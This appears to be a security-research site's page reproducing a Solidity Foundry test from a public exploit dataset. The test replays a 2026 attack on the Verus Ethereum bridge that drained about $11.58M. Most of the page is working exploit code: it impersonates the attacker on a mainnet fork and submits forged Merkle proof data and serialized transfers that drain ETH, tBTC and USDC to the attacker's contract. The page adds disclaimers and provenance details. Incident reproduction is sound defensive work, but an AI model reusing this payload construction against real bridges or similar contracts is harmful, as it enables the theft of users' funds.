Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/VerusBridge_exp.sol

Public reproduction file for dataset entry VerusBridge.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/VerusBridge_exp.sol250 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import {Test} from "forge-std/Test.sol";
5import {console} from "forge-std/console.sol";
6import {IERC20} from "forge-std/interfaces/IERC20.sol";
7// @KeyInfo - Total Lost : ~$11.58M
8// Attacker : https://etherscan.io/address/0x5abb91b9c01a5ed3ae762d32b236595b459d5777
9// Attack Contract : https://etherscan.io/address/0x65cb8b128bf6e690761044cceca422bb239c25f9
10// Vulnerable Contract : https://etherscan.io/address/0x71518580f36feceffe0721f06ba4703218cd7f63
11// Attack Tx : https://etherscan.io/tx/0x6990f01720f57fc515d0e976a0c4f8157e0a9529194c4c15d190e98d087eb321
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x71518580f36feceffe0721f06ba4703218cd7f63#code
15//
16// @Analysis
17// Post-mortem : https://x.com/VerusCoin/status/2056829444124213652
19contract VerusBridgeTest is Test {
20 bytes32 internal constant TX_HASH = 0x6990f01720f57fc515d0e976a0c4f8157e0a9529194c4c15d190e98d087eb321;
21 uint256 internal constant FORK_BLOCK = 25_118_334;
22 address internal constant ATTACKER = 0x5aBb91B9c01A5Ed3aE762d32B236595B459D5777;
23 address internal constant ATTACK_RECEIVER = 0x65Cb8b128Bf6e690761044CCECA422bb239C25F9;
24 address internal constant BRIDGE_PROXY = 0x71518580f36FeCEFfE0721F06bA4703218cD7F63;
25 address internal constant SUBMIT_IMPORTS = 0xa045cF963b79833faf445F555Ee1a6812d6fC87f;
26 address internal constant VERUS_PROOF = 0x5E8060eCBf415AA25f12c1d67FdE832BD87DCFA1;
27 address internal constant TOKEN_MANAGER = 0x08F0fBcc068C70A29326094110769ee5F1D0107d;
28 address internal constant SERIALIZER = 0x796F4236c96E222B727df27978b3A77020356b88;
29 address internal constant HASH_LIB = 0x40Ec84cA82fbF1b4D6A8EDb02BfFCf3Eb0400aAe;
30 address internal constant MMR_LIB = 0x918d6f7EFE5a1707B83a2f0cF016CC5cf7983fFb;
31 IVerusBridge internal constant BRIDGE = IVerusBridge(BRIDGE_PROXY);
32 IERC20 internal constant TBTC = IERC20(0x18084fbA666a33d37592fA2633fD49a74DD93a88);
33 IERC20 internal constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
35 address internal constant VERUS_ETH_CURRENCY = 0x454CB83913D688795E237837d30258d11ea7c752;
36 address internal constant VERUS_TBTC_CURRENCY = 0xf87F6d4412dAd7c4452e8293850Df5327f02C308;
37 address internal constant VERUS_USDC_CURRENCY = 0x1Bd15cDbf0B5B8c9CC361FFBaf6D76cc2CdfD667;
39 uint256 internal constant ETH_DRAINED = 1_625_366_886_490_000_000_000;
40 uint256 internal constant TBTC_DRAINED = 103_567_660_170_000_000_000;
41 uint256 internal constant USDC_DRAINED = 147_658_836_798;
43 uint64 internal constant ETH_IMPORT_AMOUNT = 162_536_688_649;
44 uint64 internal constant TBTC_IMPORT_AMOUNT = 10_356_766_017;
45 uint64 internal constant USDC_IMPORT_AMOUNT = 14_765_883_679_887;
46 uint64 internal constant STANDARD_IMPORT_FEE = 20_000;
47 uint64 internal constant USDC_IMPORT_FEE = 20_308;
49 bytes32 internal constant CONFIRMED_STATE_ROOT = 0x2d61f232810a3b44da7a5a84253f8057d0cba756122fa50bb5f61fd6247fa757;
51 function setUp() public {
52 vm.createSelectFork("mainnet", FORK_BLOCK);
53 vm.label(ATTACKER, "Attacker");
54 vm.label(ATTACK_RECEIVER, "Attack Receiver");
55 vm.label(BRIDGE_PROXY, "Verus Bridge Proxy");
56 vm.label(SUBMIT_IMPORTS, "SubmitImports");
57 vm.label(VERUS_PROOF, "VerusProof");
58 vm.label(TOKEN_MANAGER, "TokenManager");
59 vm.label(SERIALIZER, "Serializer");
60 vm.label(HASH_LIB, "HashLib");
61 vm.label(MMR_LIB, "MMRLib");
62 vm.label(address(TBTC), "tBTC");
63 vm.label(address(USDC), "USDC");
64 }
66 function testExploit() public {
67 uint256 beforeEth = ATTACK_RECEIVER.balance;
68 uint256 beforeTbtc = TBTC.balanceOf(ATTACK_RECEIVER);
69 uint256 beforeUsdc = USDC.balanceOf(ATTACK_RECEIVER);
71 vm.prank(ATTACKER, ATTACKER);
72 // Bridge proxy -> SubmitImports._createImports -> VerusProof.proveImports -> TokenManager.processTransactions.
73 BRIDGE.submitImports(_attackImport());
75 uint256 stolenEth = ATTACK_RECEIVER.balance - beforeEth;
76 uint256 stolenTbtc = TBTC.balanceOf(ATTACK_RECEIVER) - beforeTbtc;
77 uint256 stolenUsdc = USDC.balanceOf(ATTACK_RECEIVER) - beforeUsdc;
79 assertEq(stolenEth, ETH_DRAINED, "ETH drain mismatch");
80 assertEq(stolenTbtc, TBTC_DRAINED, "tBTC drain mismatch");
81 assertEq(stolenUsdc, USDC_DRAINED, "USDC drain mismatch");
83 console.log("Stolen ETH", stolenEth);
84 console.log("Stolen tBTC", stolenTbtc);
85 console.log("Stolen USDC", stolenUsdc);
86 }
88 function _attackImport() internal pure returns (VerusObjects.CReserveTransferImport memory importData) {
89 importData.partialtransactionproof.version = 1;
90 importData.partialtransactionproof.typeC = 2;
92 VerusObjects.CTXProof[] memory txproof = new VerusObjects.CTXProof[](3);
93 bytes32[] memory branch = new bytes32[](4);
94 branch[0] = 0xebb1cc631a6dd0c10e88de4393fe8573574b979e776eea6318cf41a7c6ca8d8e;
95 branch[1] = 0xf1f8f848c560dd71380fc34a00ab661e7a753b91356d1c4656b3877bff5255e4;
96 branch[2] = 0xa6993e48754abd6f4d2dd208b818a18dec47771e3151920cb3bfb5488cf3b87d;
97 branch[3] = 0x181fe84a398c5f5cf083a7c92441ec034de08678a53675f32a517245536e5965;
98 txproof[0].branchType = 2;
99 txproof[0].proofSequence.CMerkleBranchBase = 2;
100 txproof[0].proofSequence.nIndex = 1;
101 txproof[0].proofSequence.nSize = 9;
102 txproof[0].proofSequence.extraHashes = 0;
103 txproof[0].proofSequence.branch = branch;
105 branch = new bytes32[](1);
106 branch[0] = 0x6e45c5038342ced986452e43a80617badb98f7906e48fc839ebc000000000000;
107 txproof[1].branchType = 2;
108 txproof[1].proofSequence.CMerkleBranchBase = 2;
109 txproof[1].proofSequence.nIndex = 0;
110 txproof[1].proofSequence.nSize = 2;
111 txproof[1].proofSequence.extraHashes = 0;
112 txproof[1].proofSequence.branch = branch;
114 branch = new bytes32[](9);
115 branch[0] = 0xf90c17804a390000000000000000000000000000000000000000000000000000;
116 branch[1] = 0xfb9c2b9e70658b5a886b661821e3f90ef16dda8df940e2d0400c228a7b5287ff;
117 branch[2] = 0x936e3cf4fc720000000000000000000000000000000000000000000000000000;
118 branch[3] = 0x87634e882e06bc59986d86d2e0c38175777ea653e5424fa3d3a5ca046da588e4;
119 branch[4] = 0x04ae45c0b4e1000000000000000000000e976b03a8d219000000000000000000;
120 branch[5] = 0x6c2cafef2a0fb9abe5cdf497f93b8c61e54c3ed9c4135121a2766c84cb356ead;
121 branch[6] = 0x36950b3220ceba000000000000000000d0665203cecf350f0000000000000000;
122 branch[7] = 0x147fecfc3fd17087e46247f14d275c1c717a2ff3b8aa5411c432659391edc7d3;
123 branch[8] = 0x4ca17e9cd202da0b1300000000000000021fd2082005b8f5447a0d0000000000;
124 txproof[2].branchType = 3;
125 txproof[2].proofSequence.CMerkleBranchBase = 3;
126 txproof[2].proofSequence.nIndex = 4_071_017;
127 txproof[2].proofSequence.nSize = 4_071_020;
128 txproof[2].proofSequence.extraHashes = 1;
129 txproof[2].proofSequence.branch = branch;
130 importData.partialtransactionproof.txproof = txproof;
132 VerusObjects.CComponents[] memory components = new VerusObjects.CComponents[](2);
133 VerusObjects.CTXProof[] memory elProof = new VerusObjects.CTXProof[](1);
135 components[0].elType = 1;
136 components[0].elIdx = 0;
137 components[0].elVchObj =
138 hex"33a7f5b934fca59603d449337455e32d68b37dd8a5bc7b73d7c3c74d98e699f8010400000085202f890100000003000000000000000000000000000000861e3e000000000000000000";
140 branch = new bytes32[](3);
141 branch[0] = 0xe1d6e5bc258ce04b898310a3ede4518dbe08934f3feada389b5045265d453303;
142 branch[1] = 0xf1b10e17a45cf67db3c78dc66badc5509cc660b821ae11790a6888c4ebd977fa;
143 branch[2] = 0x9f7951aa385e9d4b6dc797b7aada3494b383c42544da2484b5d965d7aaac1d19;
144 elProof[0].branchType = 2;
145 elProof[0].proofSequence.CMerkleBranchBase = 2;
146 elProof[0].proofSequence.nIndex = 0;
147 elProof[0].proofSequence.nSize = 6;
148 elProof[0].proofSequence.extraHashes = 0;
149 elProof[0].proofSequence.branch = branch;
150 components[0].elProof = elProof;
152 elProof = new VerusObjects.CTXProof[](1);
153 components[1].elType = 4;
154 components[1].elIdx = 1;
155 components[1].elVchObj = hex"0000000000000000b01a04030001011452047d0db35c330271aae70bedce996b5239ca5ccc4c9104030c01011452047d0db35c330271aae70bedce99"
156 hex"6b5239ca5c4c75010008001af5b8015c64d39ab44c60ead8317f9f5a9b6c4c00a37ecd7f80fdbe3e5096124e7c8ca045b0b9e9e58b5595ee53ca9f3d96458145"
157 hex"4cb83913d688795e237837d30258d11ea7c752454cb83913d688795e237837d30258d11ea7c7520000000000000300000080f7b73180f7b73100000075";
159 branch = new bytes32[](2);
160 branch[0] = 0xaaaff00a70df45727c6002e4c4dc57f0e2a1f58f0cab1a8c805a1d190c0916be;
161 branch[1] = 0xe546fdbe2f25ec48d7b08bffc97c3d261cfaab94110f6721ddf918595ecb1148;
162 elProof[0].branchType = 2;
163 elProof[0].proofSequence.CMerkleBranchBase = 2;
164 elProof[0].proofSequence.nIndex = 4;
165 elProof[0].proofSequence.nSize = 6;
166 elProof[0].proofSequence.extraHashes = 0;
167 elProof[0].proofSequence.branch = branch;
168 components[1].elProof = elProof;
169 importData.partialtransactionproof.components = components;
171 bytes memory ethAddressDestination =
172 bytes.concat(bytes1(uint8(9)), bytes1(uint8(20)), abi.encodePacked(ATTACK_RECEIVER));
174 importData.serializedTransfers = bytes.concat(
175 _writeVarInt(1),
176 abi.encodePacked(VERUS_ETH_CURRENCY),
177 _writeVarInt(ETH_IMPORT_AMOUNT),
178 _writeVarInt(1),
179 abi.encodePacked(VERUS_ETH_CURRENCY),
180 _writeVarInt(STANDARD_IMPORT_FEE),
181 ethAddressDestination,
182 abi.encodePacked(VERUS_ETH_CURRENCY),
183 _writeVarInt(1),
184 abi.encodePacked(VERUS_TBTC_CURRENCY),
185 _writeVarInt(TBTC_IMPORT_AMOUNT),
186 _writeVarInt(1),
187 abi.encodePacked(VERUS_ETH_CURRENCY),
188 _writeVarInt(STANDARD_IMPORT_FEE),
189 ethAddressDestination,
190 abi.encodePacked(VERUS_ETH_CURRENCY),
191 _writeVarInt(1),
192 abi.encodePacked(VERUS_USDC_CURRENCY),
193 _writeVarInt(USDC_IMPORT_AMOUNT),
194 _writeVarInt(1),
195 abi.encodePacked(VERUS_ETH_CURRENCY),
196 _writeVarInt(USDC_IMPORT_FEE),
197 ethAddressDestination,
198 abi.encodePacked(VERUS_ETH_CURRENCY)
199 );
200 }
202 function _writeVarInt(uint256 value) internal pure returns (bytes memory out) {
203 while (true) {
204 uint8 b = uint8(value & 0x7f);
205 if (out.length != 0) b = uint8(uint256(b) | 0x80);
206 out = bytes.concat(abi.encodePacked(b), out);
207 if (value <= 0x7f) break;
208 value = (value >> 7) - 1;
209 }
210 }
213library VerusObjects {
214 struct CReserveTransferImport {
215 CPtransactionproof partialtransactionproof;
216 bytes serializedTransfers;
217 }
219 struct CMerkleBranch {
220 uint8 CMerkleBranchBase;
221 uint32 nIndex;
222 uint32 nSize;
223 uint8 extraHashes;
224 bytes32[] branch;
225 }
227 struct CTXProof {
228 uint8 branchType;
229 CMerkleBranch proofSequence;
230 }
232 struct CComponents {
233 uint8 elType;
234 uint8 elIdx;
235 bytes elVchObj;
236 CTXProof[] elProof;
237 }
239 struct CPtransactionproof {
240 uint8 version;
241 uint8 typeC;
242 CTXProof[] txproof;
243 CComponents[] components;
244 }
247interface IVerusBridge {
248 // 0x8c49b257: proxy slices calldata and delegatecalls contracts[8] with _createImports(bytes).
249 function submitImports(VerusObjects.CReserveTransferImport calldata data) external;

Analysis

Dataset entry

Public Foundry test for “VerusBridge” (2026-05-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5abb91b9c01a5ed3ae762d32b236595b459d5777

  • Attack Contract

    0x65cb8b128bf6e690761044cceca422bb239c25f9

  • Vulnerable Contract

    0x71518580f36feceffe0721f06ba4703218cd7f63

  • Attack Tx

    0x6990f01720f57fc515d0e976a0c4f8157e0a9529194c4c15d190e98d087eb321

File record

Name
VerusBridge
Path
src/test/2026-05/VerusBridge_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
42db2b7419dda0fb695c19696903e232fbf6e194
Language
Solidity
Size
251 lines
Date
2026-05-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/VerusBridge_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 42db2b7419dda0fb695c19696903e232fbf6e194, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.